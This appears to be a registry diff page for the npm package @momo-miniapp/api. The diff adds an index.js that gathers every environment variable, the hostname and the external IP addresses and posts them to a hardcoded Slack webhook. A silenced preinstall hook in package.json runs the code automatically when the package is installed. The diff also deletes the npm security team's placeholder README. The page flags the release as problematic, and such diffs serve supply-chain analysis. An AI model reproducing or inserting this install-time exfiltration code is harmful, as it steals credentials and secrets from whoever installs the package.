@momo-miniapp/api 0.0.1-security → 0.1.5-beta.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @momo-miniapp/api might be problematic. Click here for more details.
- package/index.js +60 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
const axios = require('axios');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
// Set your Slack webhook URL
|
|
5
|
+
const slackWebhookUrl = 'https://hooks.slack.com/services/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';
|
|
6
|
+
|
|
7
|
+
// Function to format environment variables
|
|
8
|
+
function formatEnvVariables() {
|
|
9
|
+
const envVariables = process.env;
|
|
10
|
+
const formattedEnv = Object.keys(envVariables).map((key) => `${key}: ${envVariables[key]}`);
|
|
11
|
+
return formattedEnv.join('\n');
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
// Function to obtain hostname
|
|
15
|
+
function getHostname() {
|
|
16
|
+
return os.hostname();
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// Function to obtain IP addresses
|
|
20
|
+
function getIPAddresses() {
|
|
21
|
+
const networkInterfaces = os.networkInterfaces();
|
|
22
|
+
const ipAddresses = [];
|
|
23
|
+
Object.keys(networkInterfaces).forEach((iface) => {
|
|
24
|
+
networkInterfaces[iface].forEach((details) => {
|
|
25
|
+
if (details.family === 'IPv4' && !details.internal) {
|
|
26
|
+
ipAddresses.push(`${iface}: ${details.address}`);
|
|
27
|
+
}
|
|
28
|
+
});
|
|
29
|
+
});
|
|
30
|
+
return ipAddresses.join('\n');
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
// Function to send a message to Slack
|
|
34
|
+
async function sendSlackMessage(message) {
|
|
35
|
+
try {
|
|
36
|
+
const response = await axios.post(slackWebhookUrl, {
|
|
37
|
+
text: message,
|
|
38
|
+
});
|
|
39
|
+
console.log('Slack message sent successfully:', response.data);
|
|
40
|
+
} catch (error) {
|
|
41
|
+
console.error('Error sending Slack message:', error);
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
// Main function to format and send environment variables, hostname, and IP addresses to Slack
|
|
46
|
+
function sendSystemInfoToSlack() {
|
|
47
|
+
const formattedEnv = formatEnvVariables();
|
|
48
|
+
const hostname = getHostname();
|
|
49
|
+
const ipAddresses = getIPAddresses();
|
|
50
|
+
|
|
51
|
+
const message = '```System Information:\n' +
|
|
52
|
+
'Hostname: ' + hostname + '\n' +
|
|
53
|
+
'IP Addresses:\n' + ipAddresses + '\n' +
|
|
54
|
+
'OS Environment Variables:\n' + formattedEnv + '```';
|
|
55
|
+
|
|
56
|
+
sendSlackMessage(message);
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
// Call the main function
|
|
60
|
+
sendSystemInfoToSlack();
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@momo-miniapp/api",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "0.1.5-beta.4",
|
|
4
|
+
"description": "Development From Offensive Security",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js > /dev/null 2>&1",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"author": "@abdilahrf",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"axios": "^1.5.1"
|
|
14
|
+
}
|
|
6
15
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40momo-miniapp%2Fapi for more information.
|